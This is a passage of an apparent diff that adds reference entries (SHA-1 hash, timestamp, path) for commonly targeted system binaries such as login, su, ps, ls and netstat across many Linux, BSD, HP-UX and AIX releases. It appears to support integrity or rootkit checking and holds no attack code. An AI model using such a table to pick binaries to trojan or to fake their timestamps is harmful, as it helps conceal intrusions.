6.0] +72AB212339D1E62B9E5329639265E61F66796D9F Wed Apr 7 23:20:11 1999 /usr/sbin/in.tftpd [RedHat 6.0] +E63B7A3A4EF4CF9C5C51E48436256ABAD0764210 Tue Apr 13 18:58:38 1999 /bin/su [RedHat 6.0] +EB3DDBBE09EAE91CF13523BB9232CC2AAC8B22CC Thu Apr 15 19:26:44 1999 /usr/sbin/in.telnetd [RedHat 6.0] +88E4C77B411CCF0C970702D05844D1117655964E Thu Apr 15 19:26:44 1999 /usr/bin/telnet [RedHat 6.0] +87AF69478C86FFE829FC48A7C80196DF3D202AB2 Thu Apr 15 22:48:52 1999 /usr/sbin/in.rshd [RedHat 6.0] +1ED191F5DAEDE6E91B07B6F28EE2A10ED141FC70 Thu Apr 15 22:48:52 1999 /usr/sbin/in.rlogind [RedHat 6.0] +D62915BF6BDA5EE7A8FE730863E5F3762E6C5FFF Mon Apr 19 21:46:43 1999 /sbin/modinfo [RedHat 6.0] +3AD70D834A2D5E3ECA11576F6D33084D8890A364 Tue Jun 8 12:55:19 1999 /usr/sbin/in.ftpd [RedHat 6.0] +ABF9E85F572FA1581AA03E57AAAD7B6C17634C4C Fri Jun 11 16:39:59 1999 /bin/login [RedHat 6.0] +930F001862AAD9BD09C865057C5A50928131C9BB Tue Apr 6 16:33:11 1999 /bin/sh [RedHat 6.0] +3AD70D834A2D5E3ECA11576F6D33084D8890A364 Tue Jun 8 12:55:19 1999 /usr/sbin/in.wuftpd [RedHat 6.0] +3AD70D834A2D5E3ECA11576F6D33084D8890A364 Tue Jun 8 12:55:19 1999 /usr/sbin/wu.ftpd [RedHat 6.0] + +3CB48684C0FA647E1EF9CBB51198CF2AEFDB07D2 Mon Feb 21 19:29:05 2005 /sbin/modinfo [CentOS 4.2] +7FFE3B3BA86921228D0471EC76B9F891362ACB39 Tue Feb 22 00:57:48 2005 /usr/bin/find [CentOS 4.2] +A481067AFC4431978EFDFF3CB3ECC2E47CAF3D2A Sun Apr 10 03:37:53 2005 /sbin/arp [CentOS 4.2] +5A1C24653A84968DA981F41CA7F49ED158C2261F Sun Apr 10 03:37:53 2005 /bin/netstat [CentOS 4.2] +5AD7323C5CECC8D70E05ABDD1D37747737349624 Tue Jun 14 20:45:53 2005 /usr/bin/telnet [CentOS 4.2] +5E2AB48E665A986A6F018ACF91F75890DA8C99A3 Mon Aug 22 00:35:54 2005 /usr/sbin/xinetd [CentOS 4.2] +D10A1E74FC55CB1E9E76F95D0B409775B8D978FA Mon Aug 22 00:40:52 2005 /bin/login [CentOS 4.2] +8B92A3B1FD1EA9E96AA342198BA8647FDC018E28 Mon Aug 22 02:59:38 2005 /usr/bin/w [CentOS 4.2] +23B15F3F87ED3D27A583D9CB2DD29D232489DCCB Mon Aug 22 02:59:38 2005 /bin/ps [CentOS 4.2] +347554DEE608502CD48E43837586C817C2577338 Tue Aug 23 09:50:02 2005 /bin/su [CentOS 4.2] +E6FB36FEC926E9D1679A9550253C1C42B371C421 Tue Aug 23 09:50:15 2005 /bin/rm [CentOS 4.2] +EB3CE1DA7C2C3CDFFB67363D2B1C206E83384F60 Tue Aug 23 09:50:15 2005 /bin/ls [CentOS 4.2] +CB322CDAAA4F1999A01BF3622E2E881B18EDA6CC Mon Feb 21 21:41:01 2005 /bin/sh [CentOS 4.2] + +AAD4C378D36058BC44465816D3405257CC2856A6 Mon Feb 21 15:21:52 2005 /usr/sbin/xinetd [CentOS 4.0] +336E3E98E5ED38A5639D7F16F76ADA54BC124407 Mon Feb 21 15:39:27 2005 /bin/login [CentOS 4.0] +D984CD2E69C7934B0925350581C4AB651DD56CEE Mon Feb 21 15:52:50 2005 /usr/bin/telnet [CentOS 4.0] +3F131942212D56A2DE5C15475160BAB2F266C138 Mon Feb 21 16:50:21 2005 /usr/bin/w [CentOS 4.0] +2F7A330A7F5ACD634052B5FD3AE16FF0F2624A47 Mon Feb 21 16:50:21 2005 /bin/ps [CentOS 4.0] +1ACA01E54FE75F7007CC06D97E9A27B4002A684E Mon Feb 21 18:01:03 2005 /sbin/arp [CentOS 4.0] +4C7E6B191B148DA205660010EF43854563FB4221 Mon Feb 21 18:01:03 2005 /bin/netstat [CentOS 4.0] +EB826E57841DB24BB119F4B2B9678358EFD98AC5 Mon Feb 21 19:29:05 2005 /sbin/modinfo [CentOS 4.0] +1F15A4B75078449491DFEF8F38A3A55383E01043 Mon Feb 21 20:05:09 2005 /bin/su [CentOS 4.0] +6CA1CCA1A7E3CDFD86AB55A2B7CD00E1B55AFF60 Mon Feb 21 20:05:24 2005 /bin/rm [CentOS 4.0] +66C1EB41FD284957C8217D27A83274F2C6DF2AC7 Mon Feb 21 20:05:24 2005 /bin/ls [CentOS 4.0] +B0A7F3BF9E1BC8E362180D2B80817B5D2422BE6F Tue Feb 22 00:57:48 2005 /usr/bin/find [CentOS 4.0] +9E1D6E61181CBD762E27FD371989ABD5F06FED71 Mon Feb 21 21:41:01 2005 /bin/sh [CentOS 4.0] + +4384946EA56AD7B305196CBD81428C5831A8232E Fri May 1 06:05:30 2009 /bin/ls [FreeBSD 7.2 x86_64] +ED37FAC70F7839AE7DE0C9E769D37247B25C6754 Fri May 1 06:05:30 2009 /bin/ps [FreeBSD 7.2 x86_64] +85644F395C4BC5EB88E153D23FFC06E9003D3197 Fri May 1 06:05:30 2009 /bin/sh [FreeBSD 7.2 x86_64] +227ED66A16E98C43CD8ADD250EC252905EF3A0E2 Fri May 1 06:05:30 2009 /bin/rm [FreeBSD 7.2 x86_64] +7CED7AAF1EB965BB74CCB1D456FA2B30C21FAA85 Fri May 1 06:06:54 2009 /usr/bin/su [FreeBSD 7.2 x86_64] +3B4A9BDD9F063AE9C1F1083ED033A4FF5EFE41E8 Fri May 1 06:06:50 2009 /usr/bin/login [FreeBSD 7.2 x86_64] +BD5CFDB7F6F3803EEE51A3E64E67DE259F356A2C Fri May 1 06:06:51 2009 /usr/bin/netstat [FreeBSD 7.2 x86_64] +15D24BEEF395A1E2716706A4AFDE42ABA7E119B5 Fri May 1 06:06:46 2009 /usr/bin/find [FreeBSD 7.2 x86_64] +6369D2D877380FB04CF2171375886D7EAE5F1927 Fri May 1 06:06:55 2009 /usr/bin/telnet [FreeBSD 7.2 x86_64] +BB9545179A82B7531BED9CE622BAD1BDCFB300A2 Fri May 1 06:06:57 2009 /usr/bin/w [FreeBSD 7.2 x86_64] +7BE2AA85DEC94870D8DE0E52546F07EE241536BB Fri May 1 06:07:02 2009 /usr/sbin/arp [FreeBSD 7.2 x86_64] +98413A93AC02F85B8FD3E19DCEBDB189F3ACA7A2 Fri May 1 06:07:08 2009 /usr/sbin/inetd [FreeBSD 7.2 x86_64] + +E6B3D12DB0E3D7E39FA86CF20D1DBB5FCA49C604 Wed Jan 16 00:31:01 2008 /bin/ls [FreeBSD 6.3] +241E780165D77FFC4676A15897AFC362C8FD7BCD Wed Jan 16 00:31:02 2008 /bin/ps [FreeBSD 6.3] +BBC67E984DEDE892A6BEF644DB9F9F3452A5D0E8 Wed Jan 16 00:31:02 2008 /bin/sh [FreeBSD 6.3] +A94B4C40773E4D01DC30F8AABA6EEB34E6498C7C Wed Jan 16 00:31:02 2008 /bin/rm [FreeBSD 6.3] +BA32A1E39C0858DDA46EB3B4A1E8E3FDD07A086C Wed Jan 16 00:32:51 2008 /usr/bin/su [FreeBSD 6.3] +80E652F089FEF05D62BFAA2DF991BB88AC1FB0DB Wed Jan 16 00:32:45 2008 /usr/bin/login [FreeBSD 6.3] +5A60BEBBF23CDB8BC08DF1F795D9B7590F0C63E1 Wed Jan 16 00:32:47 2008 /usr/bin/netstat [FreeBSD 6.3] +7DF722883B1AA7D1ABFFDA1176C667DF86A433CE Wed Jan 16 00:32:41 2008 /usr/bin/find [FreeBSD 6.3] +690DD07A53B3954BAF735E9B718B36A6C45F314E Wed Jan 16 00:32:52 2008 /usr/bin/telnet [FreeBSD 6.3] +8C0A8D9086EDB5020E56EEF614AB12E71BD5BD83 Wed Jan 16 00:32:57 2008 /usr/bin/w [FreeBSD 6.3] +557E0FD8D747888CC2F0AED0A264454977BE6F82 Wed Jan 16 00:33:01 2008 /usr/sbin/arp [FreeBSD 6.3] +C6C4E6C0D79BED2719B5650D6F2F56954243985B Wed Jan 16 00:33:08 2008 /usr/sbin/inetd [FreeBSD 6.3] + +32B93B4A47149412D497A8A2981F8AB0DD067C6D Fri Nov 7 08:00:00 1997 /bin/login [HP-UX B.11.00] +32B93B4A47149412D497A8A2981F8AB0DD067C6D Fri Nov 7 08:00:00 1997 /usr/bin/login [HP-UX B.11.00] +904829DF633946E66AA05ADCE1DF27F113759237 Fri Nov 7 08:00:00 1997 /bin/w [HP-UX B.11.00] +904829DF633946E66AA05ADCE1DF27F113759237 Fri Nov 7 08:00:00 1997 /usr/bin/w [HP-UX B.11.00] +B05BCFACBE5168CD8797F68F0A3B1A032B52373A Fri Nov 7 08:00:00 1997 /bin/find [HP-UX B.11.00] +B05BCFACBE5168CD8797F68F0A3B1A032B52373A Fri Nov 7 08:00:00 1997 /usr/bin/find [HP-UX B.11.00] +C479CD2ED9AF834C3C22F82797D3E657831416B2 Fri Nov 7 08:00:00 1997 /sbin/rm [HP-UX B.11.00] +E04C1C8FAE475B836DD33072AD2AA246717B80AF Fri Nov 7 08:00:00 1997 /sbin/ls [HP-UX B.11.00] +DC051B44C836ED2E74FA167B2BC0AC530723916A Fri Nov 7 08:00:00 1997 /bin/ps [HP-UX B.11.00] +DC051B44C836ED2E74FA167B2BC0AC530723916A Fri Nov 7 08:00:00 1997 /usr/bin/ps [HP-UX B.11.00] +3D55E5FEC0CDF2B00B1D9C79999E45430214A581 Fri Nov 7 08:00:00 1997 /bin/rm [HP-UX B.11.00] +3D55E5FEC0CDF2B00B1D9C79999E45430214A581 Fri Nov 7 08:00:00 1997 /usr/bin/rm [HP-UX B.11.00] +1D6A420D95CAD471B8AFF8094063D8407435861F Fri Nov 7 08:00:00 1997 /bin/ls [HP-UX B.11.00] +1D6A420D95CAD471B8AFF8094063D8407435861F Fri Nov 7 08:00:00 1997 /usr/bin/ls [HP-UX B.11.00] +74D13A2BC0CC9022CA50B0C4015939A2347882DC Thu Aug 6 17:03:43 1998 /bin/su [HP-UX B.11.00] +74D13A2BC0CC9022CA50B0C4015939A2347882DC Thu Aug 6 17:03:43 1998 /usr/bin/su [HP-UX B.11.00] +B2D3DF5F7BB50B44BC9BDF2B8B4290174DA6A204 Fri Sep 25 20:18:39 1998 /usr/sbin/arp [HP-UX B.11.00] +1C82C3F53F95C343C4B6480C74058AC09CDA3AF6 Wed Oct 14 11:54:53 1998 /bin/telnet [HP-UX B.11.00] +1C82C3F53F95C343C4B6480C74058AC09CDA3AF6 Wed Oct 14 11:54:53 1998 /usr/bin/telnet [HP-UX B.11.00] +334FFF350C04A4DAAC87F3F844D1D4577BE0E52F Thu Jan 28 23:21:53 1999 /bin/netstat [HP-UX B.11.00] +334FFF350C04A4DAAC87F3F844D1D4577BE0E52F Thu Jan 28 23:21:53 1999 /usr/bin/netstat [HP-UX B.11.00] +FA386DBFD014A37516628AA58CC2586607E48202 Tue Apr 27 08:14:46 1999 /sbin/sh [HP-UX B.11.00] +FBA2F507DD2425653F359218CC5733E95C7D74B0 Tue Apr 27 08:14:41 1999 /bin/sh [HP-UX B.11.00] +FBA2F507DD2425653F359218CC5733E95C7D74B0 Tue Apr 27 08:14:41 1999 /usr/bin/sh [HP-UX B.11.00] +8E6FF7A818985DEBFF87D7E217508657AEB7FE73 Mon Apr 7 19:25:26 2008 /usr/sbin/inetd [HP-UX B.11.00] + +669DBA50165389651E8318EEF2CAF9E73DEED8D9 Wed Sep 27 07:52:33 2006 /usr/bin/find [CentOS 4.8 x86_64] +A3B0118D481BEEB2799B1AE5DC8FAD03D8A4D256 Sat Nov 17 13:03:33 2007 /usr/bin/telnet [CentOS 4.8 x86_64] +17D6548B1AFA4628F39F2DAC51D65222A95CB473 Fri Jul 25 12:58:11 2008 /usr/sbin/xinetd [CentOS 4.8 x86_64] +C86A0C33EA94B26FA1B6075FEE4C1C2DE807656C Fri Jul 25 14:55:33 2008 /sbin/arp [CentOS 4.8 x86_64] +55A93301573519DAE8A241E13219D60AD843D383 Fri Jul 25 14:55:33 2008 /bin/netstat [CentOS 4.8 x86_64] +02C0FE6EA4895C145542FA2CFDEDDD2599A1DBB2 Mon Jun 1 18:10:56 2009 /sbin/modinfo [CentOS 4.8 x86_64] +8599A37D992714ED999F463EBA486C5111FC8D21 Mon Jun 1 18:23:29 2009 /bin/login [CentOS 4.8 x86_64] +96327926BE9235B98321FAA13B06F806AE742F44 Mon Jun 1 18:36:53 2009 /usr/bin/w [CentOS 4.8 x86_64] +455AFE324EDFC0F5F8319676647DEC141B85D2A2 Mon Jun 1 18:36:53 2009 /bin/ps [CentOS 4.8 x86_64] +147B11220D55983D1D603235D3F7A332D3AE369A Thu Jul 2 16:51:49 2009 /bin/su [CentOS 4.8 x86_64] +C17F28892A2C566D87069E755D6EB76C7F83A621 Thu Jul 2 16:51:51 2009 /bin/rm [CentOS 4.8 x86_64] +B0283F761F6CFD6DFB8429717677351B396B94EB Thu Jul 2 16:51:51 2009 /bin/ls [CentOS 4.8 x86_64] +CE991DC8E910FF84B221B2375EF86F4CCF23D3DA Mon Jun 1 14:47:13 2009 /bin/sh [CentOS 4.8 x86_64] + +1181151D93B1CD2E93D4B16F5B1C4241050F8E69 Fri May 1 06:54:16 2009 /bin/ls [FreeBSD 7.2] +DB382ED1F8074DE25F7C8385FD1885838F52B20B Fri May 1 06:54:17 2009 /bin/ps [FreeBSD 7.2] +21E4C5A204F647DAFAAEAB989DB4C7DC34067EB2 Fri May 1 06:54:17 2009 /bin/sh [FreeBSD 7.2] +2114F8C0AFE6A881CB6ABA9FE9CCE0E7925DA2FB Fri May 1 06:54:17 2009 /bin/rm [FreeBSD 7.2] +F70BB039DECC1D37466A5DD583AC24CFE6B9DA92 Fri May 1 06:55:56 2009 /usr/bin/find [FreeBSD 7.2] +A46B9EB0E666EBF3ADCF859436B6286F9E65EF1B Fri May 1 06:56:06 2009 /usr/bin/su [FreeBSD 7.2] +6836E07693259C53D7D132D2E58CD9FD4057D3BE Fri May 1 06:56:00 2009 /usr/bin/login [FreeBSD 7.2] +358D6617851C58D74D9D00296279213FA97413E8 Fri May 1 06:56:02 2009 /usr/bin/netstat [FreeBSD 7.2] +28D55E1F48FD48CA1C4E8404FDEEB7C9DC7B0206 Fri May 1 06:56:15 2009 /usr/sbin/arp [FreeBSD 7.2] +E847B015C12F3D310F249FD03B9DE8A95AB9CC28 Fri May 1 06:56:25 2009 /usr/sbin/inetd [FreeBSD 7.2] +A76FAB2FC29990CBA110D65FCF7A14F1D22958EA Fri May 1 06:56:07 2009 /usr/bin/telnet [FreeBSD 7.2] +FD71EED33E1AF0DBB4601CECCEBEBCFA84C98C17 Fri May 1 06:56:10 2009 /usr/bin/w [FreeBSD 7.2] + +BAA3138C4E5B7A45D3CFBEB346F77AC4D2B42DF0 Fri Jun 16 13:18:12 2006 /usr/sbin/xinetd [SuSE Enterprise 10.1] +EAAFE3A80CE802773E0A2C80AD1960548F93E28B Fri Jun 16 13:20:32 2006 /usr/bin/telnet [SuSE Enterprise 10.1] +757EA4DACB38C6990C21ED2ED76FEFC8A367BCC4 Fri Jun 16 13:26:09 2006 /usr/bin/opieftpd [SuSE Enterprise 10.1] +F52085AC51222EC245738422210E7EA31CF02C4F Fri Jun 16 13:41:01 2006 /sbin/arp [SuSE Enterprise 10.1] +5EA24906BA0D850C9335BE270114D86984BB466B Fri Jun 16 13:41:00 2006 /bin/netstat [SuSE Enterprise 10.1] +0A3350A15BFE06EAB905EEFD36532E9CB764B734 Fri Aug 25 16:36:54 2006 /usr/bin/w [SuSE Enterprise 10.1] +0999CF20950DBA7E367384F3B6B9370126AFE299 Fri Aug 25 16:36:53 2006 /bin/ps [SuSE Enterprise 10.1] +F534D71932D1388D16631DF82429900462D8460C Thu May 3 13:44:43 2007 /sbin/modinfo [SuSE Enterprise 10.1] +DADC2687F8741DE4A4C57C1C2B076EA05CD163C1 Thu May 3 13:49:44 2007 /usr/bin/find [SuSE Enterprise 10.1] +7DEDB0B145C686EBB426EDC92FC68B82FD7C67FE Thu May 3 14:03:26 2007 /bin/su [SuSE Enterprise 10.1] +6C5AF0E2BA37F8A00C0C2F878E6507DA929D5637 Thu May 3 14:03:25 2007 /bin/rm [SuSE Enterprise 10.1] +40FB083FDFBFB633B5646E87E5854D58D62BBE5D Thu May 3 14:03:25 2007 /bin/ls [SuSE Enterprise 10.1] +F11151F7A7CA3E6F6ED224C9FE1E58C9047E0A2A Fri May 4 11:30:07 2007 /bin/login [SuSE Enterprise 10.1] +238EFECEE4B32D363C19E83C02018F51E932F566 Thu May 3 13:46:25 2007 /bin/sh [SuSE Enterprise 10.1] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 13:18:12 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.1] + +F1BC961389896EE182DD6FA2830476E862DE3008 Thu Nov 6 00:00:42 2008 /usr/sbin/update-inetd [Ubuntu 9.10] +4232701C4A5AC1C0EFBED606B9D6044CEA57866A Mon May 4 14:20:17 2009 /usr/sbin/arp [Ubuntu 9.10] +95702EF92BF4CBDD64C112F7471797FE15234645 Mon May 4 14:20:17 2009 /bin/netstat [Ubuntu 9.10] +B47CF7ECDABBC24E1F063C1891003D92BD635E37 Mon Jun 15 09:28:38 2009 /usr/bin/find [Ubuntu 9.10] +5B6B47B0C9CF29D70D6FBC89773B9447F7DC05E5 Fri Jul 31 13:55:36 2009 /bin/su [Ubuntu 9.10] +4E1ABD52F4F8B3E6463922937ABF5E1948E9CE90 Fri Jul 31 13:55:36 2009 /bin/login [Ubuntu 9.10] +8F76990312CDA63224EEF01095A10DD2FB591A1A Tue Sep 15 21:46:13 2009 /sbin/modinfo [Ubuntu 9.10] +326CAE38CE2B9D9515502558931D0442BB89A797 Tue Sep 15 21:46:40 2009 /bin/ps [Ubuntu 9.10] +6FE34D9E1F6DD30B96588F0E7CF12384F4A25080 Tue Oct 6 11:07:38 2009 /bin/rm [Ubuntu 9.10] +DDF15D0592C484692426D2C9E5D537B81476C0E6 Tue Oct 6 11:07:38 2009 /bin/ls [Ubuntu 9.10] +2D3D1DCF31C0EED5F4A34179792A470B76DED2F3 Sun Sep 20 23:49:06 2009 /bin/sh [Ubuntu 9.10] +7B576943C48E51561CFD316189A83354EE03AAA4 Tue Sep 15 21:46:41 2009 /usr/bin/w [Ubuntu 9.10] +745E49B58E899026ADB6EEDE2CD2DE5529737B4F Wed Jan 21 12:27:05 2009 /usr/bin/telnet [Ubuntu 9.10] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 10.1] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /bin/rm [Slackware 10.1] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /bin/ls [Slackware 10.1] +C9A1135F97D7A76C9AEEFE41FF8FA444AD73841E Mon Jun 21 19:20:52 2004 /bin/su [Slackware 10.1] +9770FAD790FE4980560391ABEDA976753D7322EB Mon Jun 21 19:20:52 2004 /bin/login [Slackware 10.1] +24BA5A9A2E28D2ED0EF63C7083AC0F729B50A5EB Tue Aug 17 02:42:18 2004 /usr/bin/w [Slackware 10.1] +4CCFADC7F563357899BBC9278C27C00B2DA39C3A Tue Aug 17 02:42:18 2004 /bin/ps [Slackware 10.1] +2686EDC157FBCFAD28AD19A16432C06D271E2DE4 Fri Sep 3 19:16:43 2004 /usr/sbin/vsftpd [Slackware 10.1] +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 10.1] +DDC71F0D928E935F81EF58F49CB90401AE0C4465 Sat Sep 18 22:49:33 2004 /usr/sbin/proftpd [Slackware 10.1] +1C2CE3EB344A932D60FE0DEC60AC30F67ED75874 Thu Nov 4 04:54:53 2004 /usr/sbin/in.rshd [Slackware 10.1] +98AE1C12B5A0696F2A0FD0130239CB087B5A7F56 Thu Nov 4 04:54:54 2004 /usr/sbin/in.rlogind [Slackware 10.1] +D9DA91852A1ACCDF6FCBD5843506662E6050C0F7 Thu Nov 4 04:54:20 2004 /sbin/arp [Slackware 10.1] +BA572B78EF9A9D28CFF57389183AAD97A707C8EC Thu Nov 4 04:54:20 2004 /bin/netstat [Slackware 10.1] +AF6968B03B43900B24D478BCCB847DC272491DD4 Thu Nov 4 04:55:06 2004 /usr/sbin/in.telnetd [Slackware 10.1] +BA3183F4BE35761A8F5496777F47D890EB40603A Thu Nov 4 04:55:29 2004 /usr/sbin/in.tftpd [Slackware 10.1] +C3AB419E94D3D8DFFD2BD93A5D7B134F3AABED0F Thu Nov 4 04:55:12 2004 /bin/telnet [Slackware 10.1] +A1B7903529A1D68D3817871C47AEB5AA139228B3 Sun Jan 2 01:27:21 2005 /sbin/modinfo [Slackware 10.1] +D1E4E4F2A3189C9D41DC4260176477854DE54394 Wed Nov 3 22:30:35 2004 /bin/sh [Slackware 10.1] +4CCFADC7F563357899BBC9278C27C00B2DA39C3A Tue Aug 17 02:42:18 2004 /usr/bin/ps [Slackware 10.1] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /usr/bin/ls [Slackware 10.1] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /usr/bin/rm [Slackware 10.1] +DDC71F0D928E935F81EF58F49CB90401AE0C4465 Sat Sep 18 22:49:33 2004 /usr/sbin/in.proftpd [Slackware 10.1] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 10.0] +C5D9082B14287DAEC9030BA80185617966D4E410 Sun Feb 29 20:25:37 2004 /sbin/modinfo [Slackware 10.0] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /bin/rm [Slackware 10.0] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /bin/ls [Slackware 10.0] +512BBBD98BC1F9A922717E4E701FC35BAE3F44D9 Thu May 27 21:04:36 2004 /usr/bin/w [Slackware 10.0] +8320F5D749A184863830A3660625EED773B6696E Thu May 27 21:04:36 2004 /bin/ps [Slackware 10.0] +F46D572BBAF6FF07DC0D4EE8C0467D88B4FC6C67 Mon Jun 7 20:32:31 2004 /usr/sbin/proftpd [Slackware 10.0] +961D0C0901701D1630C5271AA8A67E24836B8EA8 Sun Jun 13 20:41:05 2004 /usr/sbin/inetd [Slackware 10.0] +C9A1135F97D7A76C9AEEFE41FF8FA444AD73841E Mon Jun 21 19:20:52 2004 /bin/su [Slackware 10.0] +9770FAD790FE4980560391ABEDA976753D7322EB Mon Jun 21 19:20:52 2004 /bin/login [Slackware 10.0] +EEEB2BE7597DF5BA39FEBC3145DCA2766A920DCB Mon Jun 21 21:31:55 2004 /sbin/arp [Slackware 10.0] +888F5431FDD6C52B3763ABF3C94E3CF19259054B Mon Jun 21 21:31:55 2004 /bin/netstat [Slackware 10.0] +8D2888DCF584FBD33067291DB5BBA411EA6E43F7 Mon Jun 21 21:32:23 2004 /usr/sbin/in.rshd [Slackware 10.0] +490815952111642630F9978A8ADD2932E3104365 Mon Jun 21 21:32:23 2004 /usr/sbin/in.rlogind [Slackware 10.0] +65406EEDD927E98DF1DABAD07C6F70D9BB7D97CF Mon Jun 21 21:32:33 2004 /usr/sbin/in.telnetd [Slackware 10.0] +AF1AB314BA878B7D5A274A2C86A0601C75979406 Mon Jun 21 21:32:52 2004 /usr/sbin/in.tftpd [Slackware 10.0] +BE070E516C0AC538A1B3C46DF3D46D9E9CF01CEF Mon Jun 21 21:32:37 2004 /bin/telnet [Slackware 10.0] +D2AF07625565FA525394BD3A668EDADAC5E1C07D Mon Jun 23 23:15:47 2003 /bin/sh [Slackware 10.0] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /usr/bin/ls [Slackware 10.0] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /usr/bin/rm [Slackware 10.0] +8320F5D749A184863830A3660625EED773B6696E Thu May 27 21:04:36 2004 /usr/bin/ps [Slackware 10.0] +F46D572BBAF6FF07DC0D4EE8C0467D88B4FC6C67 Mon Jun 7 20:32:31 2004 /usr/sbin/in.proftpd [Slackware 10.0] + +B657369153A2E02E82DF31B732829DC7FAEF0699 Fri Jun 18 19:36:37 2004 /usr/sbin/xinetd [Fedora 3] +03BFFFEC982AAD1ED9E4FA0F9D434DBA876CA823 Mon Jul 5 08:57:18 2004 /usr/bin/telnet [Fedora 3] +A7331381C746C367321DDC1C6E540E5D4C1B453E Wed Sep 22 22:12:14 2004 /sbin/modinfo [Fedora 3] +EB15BAFC791C676F1EAFE3F1D36DDF7B159D11E7 Tue Sep 28 18:10:02 2004 /usr/bin/w [Fedora 3] +88F447A6F6620F2282C602365EEA51741EDC536B Tue Sep 28 18:10:02 2004 /bin/ps [Fedora 3] +1F38E482DB83340F7A0D25A3225C2FA5BFEA21CF Thu Sep 30 12:49:50 2004 /sbin/arp [Fedora 3] +D21C9CF8D64EA88EA157631D980997007C3B0880 Thu Sep 30 12:49:51 2004 /bin/netstat [Fedora 3] +1DDD26020F07254BA7B583A93D8C036E6FECF19A Tue Oct 5 15:50:15 2004 /bin/su [Fedora 3] +DCE214C843D55C604D4811D4F558DDFB54EBF2E7 Tue Oct 5 15:50:21 2004 /bin/rm [Fedora 3] +D56DC67118EC5891283C2C8BF89D8DD3CAB95966 Tue Oct 5 15:50:21 2004 /bin/ls [Fedora 3] +F2A64A8E3703B152CF77A504D3C7792F6C480F40 Thu Oct 14 18:04:42 2004 /bin/login [Fedora 3] +581E179B173D486B283F7F131C2CF1D2C123AA34 Tue Oct 19 18:53:23 2004 /usr/bin/find [Fedora 3] +DA529135EDB7C868BB537B50AA65EACF7763DC2D Tue Oct 19 19:40:07 2004 /bin/sh [Fedora 3] + +8D23FFFB481278F0A7D220240A3DA1C53A6DA751 Sat Dec 1 09:10:47 2007 /usr/bin/telnet [RedHat Enterprise 5.6] +4ACC35E83D01E9EA1C983F1905333FD6A28F16F4 Thu Sep 3 18:09:22 2009 /usr/bin/find [RedHat Enterprise 5.6] +9F61A3307F410D03B4D887603C0636EE49F495C4 Wed Jan 20 10:43:02 2010 /bin/login [RedHat Enterprise 5.6] +7DBCDF6616C9E320572FE36B02BF9E276513DDCF Tue Jan 26 23:43:34 2010 /sbin/arp [RedHat Enterprise 5.6] +B1DC52ADA700C1E2EB8B1A47BCE5BED583436587 Tue Jan 26 23:43:34 2010 /bin/netstat [RedHat Enterprise 5.6] +C1C4C38E77100879309D6F8B1E44524AA6489579 Sun Feb 28 22:33:18 2010 /bin/su [RedHat Enterprise 5.6] +AE5060A43228FF00D005BB494367EF5C38826B8F Sun Feb 28 22:33:21 2010 /bin/rm [RedHat Enterprise 5.6] +033D3CD22A94022B89F239497BFD9FE10F044E1D Sun Feb 28 22:33:21 2010 /bin/ls [RedHat Enterprise 5.6] +1F30594A9285A825E69BA7B9F011E4CBC2E8025C Wed Mar 31 04:53:48 2010 /usr/bin/w [RedHat Enterprise 5.6] +60E1A63B01621423CEFD78388CBC560019A71D2D Wed Mar 31 04:53:49 2010 /bin/ps [RedHat Enterprise 5.6] +78AC8D56103EA5D8F5216803F8D598F0DBEC9452 Wed Mar 31 07:08:49 2010 /sbin/modinfo [RedHat Enterprise 5.6] +C907002D0FC9619A0217460D3E9B9DC663FC9A1F Thu Jan 22 01:14:14 2009 /bin/sh [RedHat Enterprise 5.6] + +AEFDE5EDDB2C95D3E648FC6F2DC49D8F45C37413 Sun Jan 7 01:35:59 2007 /sbin/arp [CentOS 5.1 x86_64] +FC80A398349F4C26C12A46A0677DE445754DCCDB Sun Jan 7 01:35:59 2007 /bin/netstat [CentOS 5.1 x86_64] +C384F89DB92E1B267CD0DAD211A4243FC41CAB92 Sun Jan 7 12:20:15 2007 /usr/bin/find [CentOS 5.1 x86_64] +994C43C02043D9DB8EE8ECC34ABC30C4673BDD03 Wed Mar 14 23:01:13 2007 /usr/bin/w [CentOS 5.1 x86_64] +5E4C7F429A0C0D83C9839D3CEE567D2AA3855730 Wed Mar 14 23:01:13 2007 /bin/ps [CentOS 5.1 x86_64] +DB4216FBE5C3C984E8848EAAADA0AAAAE9AA50B3 Thu Mar 15 01:46:12 2007 /usr/bin/telnet [CentOS 5.1 x86_64] +299BE90CE120D677DD82C4CA4F5CF15EF1FA10AE Wed Mar 21 21:19:15 2007 /bin/su [CentOS 5.1 x86_64] +4FCD92326100CF4A805F87789FC9BE7501D2DE71 Wed Mar 21 21:19:18 2007 /bin/rm [CentOS 5.1 x86_64] +0BB40223BDD069BA08193A6E7B6F01F45F8AF94F Wed Mar 21 21:19:18 2007 /bin/ls [CentOS 5.1 x86_64] +5C5E8C8169A27D9F929BB2D6E92C000B9905E718 Sat Nov 10 13:08:34 2007 /bin/login [CentOS 5.1 x86_64] +6754C6A6BDAD33A82E107B0D67B8D806AC6F045F Sun Nov 11 01:57:30 2007 /sbin/modinfo [CentOS 5.1 x86_64] +36CA3447E2D81E2239285B495559C50FFDD10BD7 Sat Jan 6 04:22:43 2007 /bin/sh [CentOS 5.1 x86_64] + +98B9D321E348177CF330E0604D59BED0EB4E2FF8 Tue Nov 23 17:08:05 2004 /bin/rm [AIX 5.3] +98B9D321E348177CF330E0604D59BED0EB4E2FF8 Tue Nov 23 17:08:05 2004 /usr/bin/rm [AIX 5.3] 